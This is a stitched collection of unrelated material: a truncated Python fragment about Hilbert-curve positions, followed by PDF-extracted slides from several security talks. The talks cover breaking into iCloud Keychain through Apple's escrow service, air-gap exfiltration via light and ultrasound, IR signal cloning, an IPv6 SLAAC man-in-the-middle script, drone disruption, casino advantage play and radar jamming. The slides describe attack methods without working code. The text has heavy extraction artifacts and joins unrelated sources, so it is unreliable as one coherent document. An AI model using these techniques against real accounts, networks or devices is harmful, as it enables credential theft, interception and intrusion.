n, x, y = map(int, line.split())    pos = x-1, y-1    d = hilbert_to_d(2**n, x-1, y-1)    if d == 0:        print(0)        continue    elif d == 4**n-1:        print(-1)        continue    pre = d_to_hilbert(2**n, d-1)    post = d_to_hilbert(2**n, d+1)    xs = [pre[0], post[0], pos[0]]    ys = [pre[1], post[1], pos[1]]    set_x = set(xs)    set_y = set(ys)    if len(set_x) == 1:        print(5)    elif len(set_y) == 1:        print(6)    elif xs.count(min(xs)) == 2 and ys.count(min(ys)) == 2:        print(3)    elif xs.count(max(xs)) == 2 and ys.count(max(ys)) == 2:        print(2)    elif xs.count(min(xs)) == 2 and ys.count(max(ys)) == 2:        print(1)    elif xs.count(max(xs)) == 2 and ys.count(min(ys)) == 2:        print(4)
pdf
ElcomSoft.com ElcomSoft.com © 2017 Vladimir Katalov ElcomSoft Co.Ltd. Moscow, Russia Breaking)into)the)iCloud)Keychain ElcomSoft.com Page 2 [Some)of])our)customers ElcomSoft.com Page 3 What)do)we)want)to)hack)today? 1.All)user’s)passwords 2.Credit)card)data ElcomSoft.com Page 4 What’s)inside)the)smartphone? (tip:&almost&everything) • Contacts)&)calendars • Call)logs)and)text)messages) • Emails)and)chats • Account'and'application'passwords • Web'and'Wi-Fi'passwords • Credit'card'data • Documents,)settings)and)databases • Web)history)&)searches • Pictures)and)videos • Geolocation)history,)routes)and)places • 3rd party)app)data • Cached)internet)data • System)and)application)logs • Social)network)activities ElcomSoft.com § Problems § Different&platforms&(Apple,&Google,&Microsoft) § Many&vendor-specific&clouds § 3rd party&cloud&services § Credentials&needed&(password&or&token) § Profits § No&physical&access&needed § May&be&performed&silently § Backup § No)standard)way)to)get § Might)not)be)available § Almost)all)data)from)device § Sync § Limited)set)of)data § Most)critical)real-time)data § Synced)across)all)devices § Storage § Only)files/documents § Easy)to)access Page 5 Data)acqusition methods)|)Cloud)acquisition)pros)and)cons § JTAG/chip-off § No)test)access)port)on)many)devices § Full)disk)encryption § Physical § Limited)compatibility § Data)may)be)encrypted § Logical § Limited)compatibility § Bypassing)screen)lock)is)needed § Cloud § Limited)set)of)data)// oh,$really?$J § Need)credentials § Legal)problems ElcomSoft.com § Full)device)backups)are)sometimes)available § 3rd party)application)data)is)usually)not)available § Passwords)are)additionally)encrypted)with)hardware-specific key § Daily)backups)(in)best)case,)until)forced)from)the)device) § Backups)cannot)be)forced)remotely § 3rd party)software)is)needed § Almost)no)way)to)manage § Slow)access,)long)download § Account)might)be)locked)due)to)‘suspicious)activity’ Page 6 Cloud)services:)backups)[iCloud] ElcomSoft.com Page 7 Cloud)services:)synced)data)[iCloud] § Contacts § Call'log § Messages)(SMS/iMessage,)CallKit-compatible)apps) § Calendars § Mail)(only)cloud-based) § Internet)activities)(visited)sites,)searches) § Media)files)(photos,)videos) § Gaming)data § Passwords § Health)data § Credit'cards Other • ApplePay • Home)devices • Wallet • Maps)(searches,)bookmarks,)routes) • Books • News,)weather • Location&data ElcomSoft.com Page 8 More)iCloud)data • Account)information • iCloud)storage)information • Contact)information)(billing/shipping)address,) emails,)credit)cards)(last)4)digits) • Connected)devices • Customer)service)records • iTunes)(purchase/download)transactions)and) connections,)update/re-download)connections,) Match)connections,)gift)cards) • Retail)and)online)store)transactions • Mail)logs • Family)sharing)data • iMessage and)FaceTime)metadata • Deleted&data? ElcomSoft.com Page 9 Apple)keychains § iOS'keychain § Local)(encrypted)backup) § Local)(not)encrypted)backup) § iCloud View&(iOS&10):&Settings&|&Safari&|&Passwords,&AutoFill View&(iOS&11):&Settings&|&Accounts&&&Passwords&|&App&&&Website&Passwords Protection:&it&depends Decrypt/export:&no&way&(3rd party&software&only) § OS'X'(macOS)'keychain View:&Keychain&utility&(one&by&one) Protection:&password&(by&default,&same&as&log&on) Decrypt/export:&3rd party&software&only § iCloud'keychain View:&Only&when/if&synced&with&local&device Protection:&well,&strong&J Decrypt/export:&? ElcomSoft.com Page 10 Backup)vs iCloud)keychains Backup iCloud Wi-Fi + + Web)sites + + Credit)cards + + App-specific + It&depends AirPlay/AirPort + + Encryption)keys)&)tokens + It&depends Autocomplete + - Keychain&in&iCloud&backups&have&most&data&encrypted&with&device-specific&key& ElcomSoft.com Page 11 iOS)keychain)– passwords)(Wi-Fi,)email,)web)form) <Name>AirPort)(AP'name)</Name> <Service>AirPort</Service> <Account>AP'name</Account> <Data>AP'password</Data> <Access)Group>apple</Access)Group> <Creation)Date>20121231120800.529226Z</Creation)Date>))))))) <Modification)Date>20121231120800.529226Z</Modification)Date>))))))) <Protection)Class>CLASS:)7</Protection)Class> <Name>accounts.google.com)(email)</Name>)))))))) <Server>accounts.google.com</Server>) <Account>email</Account> <Data>password</Data> <Protocol>HTTPS</Protocol> <Authentication)Type>form</Authentication)Type> <Description>Web)form)password</Description> <Access)Group>com.apple.cfnetwork</Access)Group> <Creation)Date>20150705071047.78112Z</Creation)Date> <Modification)Date>20150805133813.889686Z</Modification)Date>)))))))) <Label>accounts.google.com)(email)</Label> <Protection)Class>CLASS:)6</Protection)Class> <Name>imap.gmail.com)([email protected])</Name>) <Server>imap.gmail.com</Server> <Account>email</Account> <Data>password</Data> <Protocol>IMAP</Protocol> <Port>143</Port> <Access)Group>apple</Access)Group> <Creation)Date>20121231124745.097385Z</Creation)Date> <Modification)Date>20121231124745.097385Z</Modification)Date> <Protection)Class>CLASS:)7</Protection)Class> ElcomSoft.com Page 12 iOS)keychain)(credit)card)data) <Name>SafariCreditCardEntries (BBA00CB1-9DFA-4964-B6B8-3F155D88D794)</Name> <Service>SafariCreditCardEntries</Service> <Account>BBA00CB1-9DFA-4964-B6B8-3F155D88D794</Account> <Data> <Dictionary> <CardholderName>NAME</CardholderName> <ExpirationDate>DATE</ExpirationDate> <CardNameUIString>Visa</CardNameUIString> <CardNumber>NUMBER</CardNumber> </Dictionary> </Data> <Comment>This)keychain)item)is)used)by)Safari)to)automatically)fill)credit)card)information)in)web)forms.</Comment> <Access)Group>com.apple.safari.credit-cards</Access)Group> <Creation)Date>20131016100432.283795Z</Creation)Date> <Modification)Date>20150826181627.118539Z</Modification)Date> <Label>Safari)Credit)Card)Entry:)Visa</Label> <Protection)Class>CLASS:)6</Protection)Class> ElcomSoft.com Page 13 iOS)[backup])keychain)protection)classes k​Sec​Attr​Accessible​After​First​Unlock)(7) The)data)in)the)keychain)item)cannot)be)accessed)after)a)restart)until)the)device)has)been)unlocked)once)by)the)user. k​Sec​Attr​Accessible​After​First​Unlock​This​Device​Only)(10) The)data)in)the)keychain)item)cannot)be)accessed)after)a)restart)until)the)device)has)been)unlocked)once)by)the)user. k​Sec​Attr​Accessible​Always)(8) The)data)in)the)keychain)item)can)always)be)accessed)regardless)of)whether)the)device)is)locked. k​Sec​Attr​Accessible​When​Passcode​Set​This​Device​Only The)data)in)the)keychain)can)only)be)accessed)when)the)device)is)unlocked.)Only)available)if)a)passcode)is)set)on)the)device. k​Sec​Attr​Accessible​Always​This​Device​Only)(11) The)data)in)the)keychain)item)can)always)be)accessed)regardless)of)whether)the)device)is)locked. k​Sec​Attr​Accessible​When​Unlocked)(6) The)data)in)the)keychain)item)can)be)accessed)only)while)the)device)is)unlocked)by)the)user. k​Sec​Attr​Accessible​When​Unlocked​This​Device​Only)(9) The)data)in)the)keychain)item)can)be)accessed)only)while)the)device)is)unlocked)by)the)user. • xxxThisDeviceOnly:)encrypted)using)device-specific)hardware)key))(can)be)extracted)from)32-bit)devices)only) • All)others:)in)password-protected)local)backups,)encrypted)with)the)key)derived)from)backup)password ElcomSoft.com Page 14 iTunes)backup)password)breaking § Get)manifest.plist § Get)BackupKeyBag § Check)password § iOS)3 ▫ pbkdf2_sha1(2,000) § iOS)4)to)10.1)(but)10.0) ▫ Same)as)above,)but)10,000)iterations § iOS)10.0 ▫ Same)as)above)works ▫ Single&sha256&hash&is&also&stored § iOS)10.2+ ▫ pbkdf2_sha256(10,000,000) ▫ pbkdf2_sha1(10,000) § Unwrap)AES)key)from)KeyBag § Decrypt)keychain)(+other)files?) Hashes'are'salted,'so'no'rainbow'tables'L ElcomSoft.com Page 15 macOS keychain ElcomSoft.com Page 16 iCloud)data)protection https://support.apple.com/en-us/HT202303 Most)of)the)data:)A&minimum&of&128-bit&AES&encryption iCloud)Keychain:)Uses&256-bit&AES&encryption&to&store&and&transmit&passwords&and&credit&card&information.&Also&uses&elliptic& curve&asymmetric&cryptography&and&key&wrapping. Key'is'stored'along'with'the'data'(except'just'the'iCloud'keychain)! • Notification)to)email)when)the)data)is)accessed • Account)might)be)blocked)due)to)suspicious)activity)(new!) • Two-step)verification)(legacy,)not)recommended) • Two-factor'authentication • Immediate)push)notification)to)all)trusted)devices • Have)to)allow)access • Security)code • As)push)notification • By)SMS)to)trusted)phone)number • Generated)by)trusted)device Workaround'for'2FA:'use'authentication'token'from'the'device'(iPhone/iPad/iPod),'PC'or'Mac ElcomSoft.com Page 17 iCloud)sign-in ElcomSoft.com Page 18 About)iCloud)keychain ElcomSoft.com Page 19 Set)up)iCloud)keychain)– no)2FA ElcomSoft.com Page 20 Set)up)2FA ElcomSoft.com Page 21 Set)up)iCloud)keychain)–2FA ElcomSoft.com Page 22 iOS)11)and)2FA ElcomSoft.com Page 23 iCloud)sync)modes Recovery: recovery)from)keychain) backup/storage)in)the)iCloud com.apple.sbd3&(Secure&Backup&Daemon) Keep)backup)of)keychain)records,)and) copying)to)new)devices)(when)there)are) new)trusted)ones) Sync:)real-time)syncing)across)cloud)and) devices com.apple.security.cloudkeychainproxy3 Support)for)“trusted)circle”,)adding)new) devices)to)it)etc ElcomSoft.com Page 24 iCloud)circle)of)trust iOS)Security)Guide: https://www.apple.com/business/docs/iOS_Security_Guide.pdf • Keychain'syncing • Circle)of)trust • Public)key:)syncing)identity)(specific)to)device) • Private)key)(elliptical)P256),)derived)from)iCloud)password • Each)synced)item)is)encrypted)specifically)for)the)device) (cannot)be)decrypted)by)other)devices) • Only)items)with)kSecAttrSynchronizable are)synced • Keychain'recovery • Secure)escrow)service)(optional) • No)2FA:)iCloud)security)code)is)needed)(+SMS) • No)2FA,)no)iCSC:)recovery)is)not)possible • 2FA:)device)passcode)is)needed • Hardware)Security)Module)(WTF)is)that?)J) ElcomSoft.com Page 25 iCloud)keychain)recovery)mode 3:)key)version)(GCM)or)CBC)algorythm;)GCM)here). 6:)record)protection)class)(KeyBag)#6 here) 0x48: wrapped)key size Next:)encrypted)key)data ElcomSoft.com Page 26 iCloud)keychain)recovery)protection)(no)2FA) iCSC'- iCloud'Security'code No'iCSC Sync)mode)only.)Keychain)records)are)not)stored)in)the)iCloud)and)cannot)be)recovered)if)all)trusted)devices)are)lost/) Access)is)possible)only)through)push)notification)to)the)trusted)device.)The&most&safe/secure&config?&;) iCSC is'set • Push)notification)to)trusted)device)(as)above) • iCSC plus)code)from)SMS)(6)digits) Note:&iCSC is&not&stored&anywhere&in&the&cloud,&just&its&hash&(in&Escrow).&Three&options&are&available: • Simple)(4)or)6)digits,)depends)on)iOS)version) • Complex)(any)symbols,)up)to)32) • Device-generated/random)(24)symbols) ElcomSoft.com Page 27 iCloud)keychain)recovery)protection)(2FA) For)every)device,)separate)record) is)created)(at)EscrowProxy): com.apple.icdp.<deviceHash> Contents:)BackupBagPassword (randomly)generated) Usage:)RFC6637)to)encrypt)keys) from)iCloud)Keychain)Keybags ElcomSoft.com Page 28 Escrow)proxy)architecture)(1) Escrow'proxy • SRP)(Secure)Remote)Password))protocol • Safe)from)MITM • Does)not)need)password)to)be)transferred)at)all)(even)hash) • Does)not)keep)password)on)server ElcomSoft.com Page 29 Escrow)proxy)architecture)(2) Cloud&Keychain&records&of&interest&at&EscrowProxy • com.apple.securebackup: keep BackupBagPassword)from Keybag,)where) iCloudKeychain)is)stored)for)‘full)restore’ • com.apple.icdp.<deviceHash>:) BackupBagPassword)from iCloudKeychain) individual)records)from)given)devices,)stored) for)partial)recovery ElcomSoft.com Page 30 Escrow)proxy)architecture)(3) No)2FA (iCSC))and)2FA)(Device)Passcode): • Client)generates)random)25-symbol)KeyBagKey • PBKDF2(SHA256,)10000))to)generate)iCSC/passcode)hash • KeyBagKey is)encrypted)with)AES-CBC)using)hash)as)a)key • Encrypted)KeyBagKey is)stored)in)EscrowProxy Note:&if&‘random’&option&is&selected&as&iCSC,&then&it&is&not&hashed,&and&saved&‘as&is’&It&is&further&used&for& encrypting&KeyBag with&set&of&keys&for&iCloud&Keychain. ElcomSoft.com Page 31 Escrow)proxy)API Command Action /get_club_cert Returns)certificate,)associated)with)account /enroll Add)new)secure)record /get_records Get)list)of)stored)records /get_sms_targets Get)phone)number,)associated)with)account /generate_sms_challenge Sends)approval)code)via)sms to)associated)number /srp_init Initializes)authentication)via)SRP-6a)protocol /recover SRP)authentication)finalization.)returns)secure)records)on) success /update_record Updates)records)information)associated)with)account ElcomSoft.com Page 32 Escrow)proxy:)‘public’)records • Info)on)key)used)for)protection • Number)of)failed)retries • Device)data)(model,)version,)password)strength) • List)of)keys)for)KeyBag decryption • Protected)Storage)Services)list ElcomSoft.com Page 33 SRP)protocol)(v6) iCSC$-$iCloud$Secure$Code H$–$SHA256 N,$g$–$2048-bit$generator$of$the$multiplicative$ group$(RFC$5054) The$user$enroll$password$verifier$and$salt$to$EscrowCache.$ EscrowCache$stores$password$verifier$and$salt. <salt>$=$random() x$=$SHA(<salt>$|$SHA(<dsid>$|$":"$|$<iCSC>)) <password$verifier>$=$v$=$g^x$%$N If)com.apple.securebackup record)exists,)that)means)that) iCloud)Security)Code)is)set.)Otherwise,)EscrowProxy contains) com.apple.icdp.record.hash_of_device records,)so)iCloud) Keychain)can)be)synced)when)one)of)device)passwords)is) provided. ElcomSoft.com Record'name Authentication'Type com.apple.securebackup MME'+'SMS com.apple.icdp.record.hash_of_device PET com.apple.protectedcloudstorage MME Authentication'type'for'access'of'Escrow'record' Page 34 Escrow)proxy)– access)tokens • No)2FA,)iCloud)Security)Code:)MME)token)is)enough;) validation)uses)SMS)to)trusted)number)set)in) account How&to&obtain:&same&as&for&backups,&synced&data,&iCloud& Photo&Library&etc • 2FA,)device)passcode:)PET)(Password))Equivalent) Token);)TTL=5)minutes How&to&obtain:&pass&GSA&authentication&(to&approve& short-time&access&from&the&given&device);&new&in&macOS 10.11 ElcomSoft.com Page 35 Keychain)is)sync)mode Circle'of'trust trusted trusted trusted Not'trusted In)sync)mode,)KeyBag may)contain)as)full)records)in)recovery) mode)(BackupKeyBag,)com.apple.securebackup.record))or) tombs,)unique)for)every)domain)(HomeKit,)Wi-Fi)etc) ElcomSoft.com Page 36 Tombs • Keybag &)metadata)(ASN.1) format) • Keychain:)records)for)the)given) domain,)encrypted)with)Keybag • Wrapped)Key)(for)every) RecordID):)Keybag key)wrapped) with)RFC)6637 To'decrypt • get)tombs)from)com.apple.sbd • find)all)RecordIDs • get)BackupBagPassword for)the) given)RecordID,)using)passcode) of)the)device • unwrap)KeyBag key • decrypt)keys)from)KeyBag • Decrypt)Keychain)records ElcomSoft.com Page 37 Other)components)and)alternative)approaches GSA'(GrandSlam Authentication) • gsa.apple.com • based)on)SRP)protocol • introduced)in)macOS 10.10)(basic) • improved)in)macOS 10.11 AnisietteData • MachineID +)OTP • MachineID (60)bytes):)unique)for)device • OTP)(24)bytes):)random;)refreshed)every) 90)seconds • code)is)hardly)obfuscated • implemented)in)Apple)Private)API Continuation'token • obtained)through)GSA • means)to)get)tokens)for)other)services • no)need)to)keep)Apple)ID)and)password)on) device • can)be)used)to)get)updated tokens)with)short) TTL • for)further)requests:)use)AlternateDSID &) Continuation'token instead)of)AppleID &) password ElcomSoft.com Page 38 Demo No'2FA • Apple)ID • Password • iCloud)security)code • SMS)to)trusted)number 2FA • Apple)ID • Password no&need&to&pass&2FA&on&trusted&Desktop • Passcode)of)enrolled)device ElcomSoft.com Page 39 Conclusions)/)risks • Sync)and)recovery:)different)approaches • Trusted)circle:)not)hard)to)get)in,)but)leaves)traces • Both)sync)and)recovery)can)be)used)(mixed) • Need)to)have)credentials • Need)to)have)trusted)device …or)SMS • Need)to)know)iCSC …or)device)passcode • Legacy)2SV:)forget)it • With)2FA,)keychain)is)always)stored)in)iCloud • No'2FA,'no'iCSC:'most'safe'from'TLA? • Get'Continuation$token$(+machine$ID) to'obtain'full'access'without'anything'else! • …implementation$is$still$relatively$secure$J ElcomSoft.com Page 40 Wait,)one)more)thing… • iCloud)Keychain)contains)more)data)than)officially) documented:)not)just)passwords,)but)also)tokens)(e.g.)to) 2FA-protected)social)network)accounts) • iCloud)Keychain)is)being)activated)right)when)you)enable) 2FA (or)even)always)exist??),)though)contains)only)system) keys,)not)user)data • iCloud)Keychain)contains)encryption)key)used)to)lock)some) new)iCloud)data)(iOS)11) • iCloud)Keychain)approach)can)be)used)effectively)when) local)keychain)is)not)easily)accessible What'else'do'you'hide'from'us,'Apple?':) ElcomSoft.com Thanks! Questions? ElcomSoft Page 41
pdf
See no evil, hear no evil Hacking invisibly and silently with light and sound www.pwc.co.uk July 2017 Matt Wixey – PwC UK PwC Intro • Matt Wixey • Lead the research function on PwC’s UK pentesting team • Run The Dark Art Lab research blog • Previously worked in LEA, leading R&D team PwC Agenda • Part I: Jumping air-gaps • Part II: Surveillance and counter-surveillance • Part III: Bantz • Part IV: Summary and future research PwC Disclaimers • The views and opinions expressed in this talk are not necessarily those of PwC • All content is for educational purposes only. Read up on relevant laws, only attack systems you own or have permission to attack! • What this presentation isn’t • I am in no way an electronics expert PwC Dunning-Kruger Curve Me Mt. Stupid PwC Key terms • Modulation • Ultrasonic • Near-ultrasonic • Spectrogram • Infrared PwC PwC PwC Part I Jumping air-gaps • A Sensor Darkly • Dreadphone • Spectregram PwC Caveats • Virtually all research in this area assumes that the attacker has already managed to infect at least one host • Attacker has physical or near-physical access • Exfiltration is of small pieces of data PwC Previous research • Van Eck phreaking – e.g. Kuhn (2003); Halevi and Saxena (2012) • AirHopper (Guri et al 2014) – radio frequencies • BitWhisper (Guri et al 2015) – heat • VisiSploit (Guri et al 2016) – codes & camera • Fansmitter (Guri et al 2016) – acoustic • SPEAKE(a)R (Guri et al 2016) – speakers to mics • xLED (Guri et al 2017) • Hasan et al (2013) – great overview of techniques • Including ALS for mobile devices • Lots more! PwC ALS • Ambient Light Sensor • Increasingly common • Laptops • Monitors • Smartphones • Tablets • Smartwatches PwC Design • The plan: • Create malware to read light (lux) values from the ALS through the API • Malware executes different commands according to changes in the intensity • Problems: • Hurr durr, I’ll just shine this massive torch onto my laptop to execute commands • Need exfil capability PwC Demo PwC Exfiltration PwC Exfiltration PwC Results PwC Prototype 2 PwC Dreadphone • C2 using near-ultrasonic sounds (18-19KhZ) • Standard laptop soundcard • Toftsed et al (2010) – Army Research Laboratory • Hanspach and Goetz (2014) • Used system designed for underwater communication • Covert acoustical mesh networks PwC Soundcard woes PwC Soundcard woes • Apply multiple fade-ins / fade-outs • Then amplify the track: PwC Dreadphone PwC In music PwC DEMO PwC Mitigation • TEMPEST standards • Remove/disable ALS • Screen filters • White noise • Ultrasonic detectors • Disable microphones/speakers Part II Surveillance and counter-surveillance • Laser microphone • Passive infrared motion detector • Drone to clone to pwn • Phone to clone to pwn • Active infrared motion detector PwC Laser microphone PwC Completed listener and laser units PwC Laser microphone PwC But that music choice though I love the sound of sound converted to light and then converted back to sound again in the morning. PwC Laser microphones Original version Laser mic version PwC Sniffing, analysing and cloning IR signals • Similar principle to RF signals • Assuming fixed codes (not rolling) • Need to listen to the signal • Analyse • Replay the cloned signal on an Arduino • See Major Malfunction (2005) – compromising hotel payment systems via infrared TV remotes PwC Sniffing the signal • Use an RTL-SDR • rtl_ir • Forked from librtlsdr PwC Sniffing the signal • IR receiver and Arduino • IRLib library PwC PwC Analysis and replay PwC Analysis and replay • If signal is a known protocol, can just play back the code • e.g. standby signal from my TV remote: • NEC 0x2FD48B7 PwC Analysis and replay • If signal is unknown, read edges/delays into an array using IRLib or IRremote library • Play array back PwC Passive IR motion detectors • Bypasses – see Porter and Smith (2013) • Move slowly • Mask body heat • Overwhelm sensor with heat (like a lighter) • False alarms PwC Passive IR motion detectors PwC PwC Oops… Remote 1 Remote 3 Remote 2 Remote 4 Remote 5 Remote 6 PwC Oops… PwC Drone to clone to pwn PwC Drone to clone to pwn PwC Phone to clone to pwn PwC Phone to clone to pwn PwC Active IR motion detector PwC PwC Mitigation • Vibrations/speakers/wire screens/coverings on windows • Double-glazing or curved glass can cause problems • Where possible, use alarms with physical keypads to disarm, not remotes • If using remotes, go for ones which: • Use encrypted rolling code algorithms, anti-jamming, etc • Are paired uniquely to a device Part III Bantz • doubleSpeak • Annoying malware analysts • Kill More Gilmore • AstroDrone PwC Delayed Auditory Feedback (speech jamming) • Has been around since the 1950s • SpeechJammer - Kurihara and Tsukada (2012) • I built a software version PwC Speech jamming PwC Demotivating malware analysts • Inspired by Domas (2015) • “Psychological warfare in reverse engineering” • Created malware where the flow graph in disassemblers represents an image PwC DEMO PwC Kill More Gilmore PwC Kill More Gilmore PwC Kill More Gilmore If the Gilmore Girls theme song plays in our flat, the TV turns itself off Because not all heroes wear capes PwC Kill More Gilmore PwC AstroDrone • Many drones have ultrasonic altimeters • I’ve demonstrated with the Parrot AR 2.0 • But any drone with an ultrasonic altimeter is likely to be affected • 22.5Khz or 25Khz (configurable via telnet) PwC AstroDrone PwC Effects • Either launches the drone upwards at speed • I now have a dented ceiling • And a broken drone • Or causes it to stick to the floor • But not crash – rotors still turn • Liu et al (2016) – ultrasonic attacks against autonomous cars • Lots of attacks against drones generally • Robinson (2015) • Son et al (2015) • Luo (2016) PwC Animal repellent alarm • PIR • If high, sends out an ultrasonic pulse • Adjustable frequency (0-50Khz) • Adjustable sensitivity PwC AstroDrone PwC Effects GOODNIGHT SWEET PRINCE PwC Dronekiin PwC Dronekiin PwC Real-world applications • Deploy on roof to keep drones away • Prisons • Government buildings • Public events • Further research ongoing • Personal drone protection Part IV Summary PwC Research overview Ultrasound malware ALS malware Laser mic Active IR detector Passive IR detector Kill More Gilmore Drones Speech jamming Spectregram Light sensors IR sniffing IR replay Ultrasound ¯ \_(ツ)_/¯ Delivery IR detection PwC Pros & Cons • Pros • Great for physical engagements / air-gaps • Difficult to detect / defend against • Very little trace • Cheap to design and develop • Cons • Usually require proximity to targeted systems • Subject to interference • Range and power depend on resources PwC Mitigations • First step is knowing these techniques and attacks exist • And that inputs/outputs can often be easily manipulated and accepted as genuine • Where possible/feasible, block inputs/outputs to a system, or ensure they have a reliable failover • Be aware of clone-and-replay attacks • Be aware of the limitations of some security products • e.g. fixed codes, susceptible to jamming, etc PwC Future research • Exfiltration via IR • Acoustic keylogging • Further work on drone repellents • Tracking and targeting • Identification through video • Combo of infrared and sound PwC Hopefully, you’re on the left rather than the right… PwC Music credits • LiFi demo: “Arcade Funk”: https://www.dl-sounds.com/license/, https://www.dl-sounds.com/royalty-free/arcade-funk/ • Spectregram demo: “Suspense Strings”: https://www.dl- sounds.com/license/, https://www.dl-sounds.com/royalty- free/suspense-strings/ • Laser microphone demo: “Die Walküre, WWV 86B – Fantasie“: United States Marine Band, CC license, https://musopen.org/music/488/richard-wagner/die-walkure-wwv- 86b/ PwC References Air-Gaps • https://github.com/cwalk/LiFi-Music • “BitWhisper: Covert Signaling Channel between Air-Gapped Computers using Thermal Manipulations”. 2015. Guri M., Monitz M., Mirski Y., Elovici Y. • “VisiSploit: An Optical Covert-Channel to Leak Data through an Air-Gap”. 2016. Guri M., Hasson O., Kedma G., Elovici Y. • “Fansmitter: Acoustic Data Exfiltration from (Speakerless) Air-Gapped Computers”. 2016. Guri M., Solewicz Y., Daidakulov A., Elovici Y. • “Sensing-enabled channels for hard-to-detect command and control of mobile devices”. 2013. Hasan R., Saxena N., Haleviz T., Zawoad S., Rinehart D. • “Information leakage from optical emanations”. 2002. Loughrey, J., Umphress D.A. • “XLED: Covert Data Exfiltration from Air-Gapped Networks via Router LEDs”. 2017. Guri, M., Zadov B., Daidakulov A., Elovici Y. • “AirHopper: Bridging the air-gap between isolated networks and mobile phones using radio frequencies”. 2014. Guri M., Kedma G., Kachlon A., Elovici Y. • “SPEAKE(a)R: Turn speakers to microphones for fun and profit”. 2016. Guri M., Daidakulov A., Elovici Y. • “Compromising emanations: Eavesdropping risks of computer displays”. 2003. Kuhn, M.G. • “A closer look at keyboard acoustic emanations: random passwords, typing styles and decoding techniques”. 2012. Halevi T., Saxena N. • https://msdn.microsoft.com/en-us/library/windows/desktop/dd318933(v=vs.85).aspx • “An Examination of the Feasibility of Ultrasonic Communications Links”. 2010. Toftsed D., O’Brien S., D’Arcy S., Creegan E., Elliot S. • “On Covert Acoustical Mesh Networks in Air”. 2014. Hanspach M., Goetz M. • [Equation] – Aphex Twin • Look – Venetian Snares Surveillance and Counter-surveillance • “Let’s Get Physical”. 2013. Porter D., Smith S. BH USA 2013. • “Old Skewl Hacking – Infrared”. 2005. Major Malfunction. DEF CON 13. • “Digital Ding Dong Ditch”. 2014. Kamkar, S. https://samy.pl/dingdong/. PwC References Bantz • “Repsych: Psychological warfare in reverse engineering”. 2015. Domas, C. DEF CON 23. • “Knocking my neighbour’s kid’s cruddy drone offline”. 2015. Robinson, M. DEF CON 23. • “Rocking drones with intentional sound noise on gyroscopic sensors”. 2015. Son Y., Shin H., Kim D., Park Y., Noh J., Choi K., Choi J., Kim Y. • “Drones hijacking: Multi-dimensional attack vectors and countermeasures”. 2016. Luo, A. DEF CON 24 • “Can you trust autonomous vehicles: Contactless attacks against sensors of self-driving vehicles”. 2016. Liu J., Yan C., Xu W. DEF CON 24. Thank you! Any questions? email: [email protected] twitter: @darkartlab
pdf
MITM ALL THE IPv6 THINGS! Scott Behrens & Brent Bandelgar DEF CON 21 August 2, 2013 Neohapsis Confidential 2 Who are we? Brent Bandelgar  Security Consultant at Neohapsis Scott Behrens  Senior Security Consultant at Neohapsis  Adjunct Professor at DePaul University Nathaniel Couper-Noles  Principal Security Consultant at Neohapsis ^- YES THIS IS PHOTOSHOPED ^- THIS ONE IS REAL Neohapsis Confidential 3 SLAAC Attack! Alec Waters, InfoSec Institute 2011 http://resources.infosecinstitute.com/slaac-attack/ Neohapsis Confidential 4 SLAAC Attack Win8 Fail :( Where’s the DNS server? Neohapsis Confidential 5 SLAAC Attack in 2013...the Bad  Non trivial setup  Configuration files  IP addresses/ranges  It uses old and deprecated packages (NAT-PT) Neohapsis Confidential 6 DUNCAN COULDN'T GET IT TO WORK?! VOX COULDN'T GET NAPTD TO COMPILE?! Neohapsis Confidential 7 SLAAC Attack in 2013 WE NEED Neohapsis Confidential 8 Solution: Sudden Six  One Bash script to rule them all!  Install dependencies  Configure attack host  Works with Windows 7 and 8!  No more depreciated libraries and packages  Currently tested on Ubuntu 12.04 LTS and Kali Neohapsis Confidential 9 Demo  Demo video here Neohapsis Confidential 10 Known Issues  Defenses  Disable IPv6 by policy  IPv6 network defenses (RFC 6105)  Happy Eyeballs  IPv4 fallback (RFC 6555)  DNS  Client race conditions Neohapsis Confidential 11 Future Work  Configure IPv6 tunneling  Automate basic network reconnaissance  Detect IPv6 countermeasures  Leverage THC IPv6 tools  Specify MITM target scope Neohapsis Confidential 12 Download We would love your help! https://github.com/Neohapsis/suddensix Thank You www.neohapsis.com labs.neohapsis.com
pdf
Beat the Casinos At Their Own Game DEFCON XI Presented By : Paranoid Android [email protected] Introduction • Who Am I? – Atlantic City Experience – Las Vegas Experience • Disclaimer – You are not a ready! – Am I teaching you anything illegal? • Why Do This? – Money? – Excitement? – New Job? Casino Games • Games You Can Beat – Blackjack – Sports/Horses – Poker • Games You Can NOT Beat – Slots – Craps – Roulette Blackjack • Why can Blackjack Be Beat? – Law of Independent Trials • What is Basic Strategy? • What is Card Counting? – Is Card Counting Legal? Blackjack • Card Counting System – Hi/Lo – Other systems – Practice, practice, practice! • Casino Heat – Get to know your staff • Casino Cover – What’s the worst that can happen? Sports Betting/Horses • Can Sports Betting Be Beat? – Zero Ante Game • Specialization • Shopping Around • Propositions – Tour De France • The Sky Is The Limit! Poker • It’s not what you think . . . – Which game should I learn? • Ring Games • Tournaments • Read, Read, Read! – No lack of information on poker • Opponents Are Everything! Other Plays • Hunting For Dealers – 3 Card Poker • Casino Promotions – New Games • Coupons • Other Games – California Pai Gow Comps • Can Make Losing Worthwhile • It Pays To Shop Around • Required Levels – Food – Rooms – Tickets & Higher • Must Read “Comp City” Additional Resources • http://www.bj21.com • “Burning The Tables In Las Vegas” – Ian Andersen • “Sharp Sports Betting” – Stanford Wong • “Comp City” – Max Rubin • [email protected]
pdf
RADAR JAMMING IS LEGAL IN THESE STATES Bill Swearingen / @hevnsnt Legend: RED ILLEGAL GREEN LEGAL WARNING THIS TALK IS ONLY LEGAL IN THE FOLLOWING STATES Legend: RED ILLEGAL GREEN LEGAL WARNING THIS TALK IS ONLY LEGAL IN THE FOLLOWING STATES This talk is rated R for: Super Good Ideas Marginal Advice Offensive Language Brief Nudity 23 Slides available now at bit.ly/23police SecKC Original Hacker MIRT * This is not my MIRT MIRT * This is not me HACKER HA /KC/ER HA/KC/ ER Excerpt from the Hacker’s Manifesto : The Mentor - Phrack Volume One, Issue 7, Phile 3 of 10 HA/KC/ ER Are you a cop? * This is not my car * This is not my problem WHAT IS RADAR? MY DAD IN THE 90s * This is not my dad http://hyperphysics.phy-astr.gsu.edu/hbase/Sound/radar.html *Where c is the speed of light From: https://www.vortexradar.com • X Band is in the 8.0 to 12.0 GHz range 
 (most common is 10.5 in the US / 9.4-10.6 in EU) • K Band is in the 18 to 26.5 GHz range 
 (most common is 24.12 - 24.17 in the US / 24.12 - 25.15 in EU) • Ka Band is in the 26.5 to 40 GHz range 
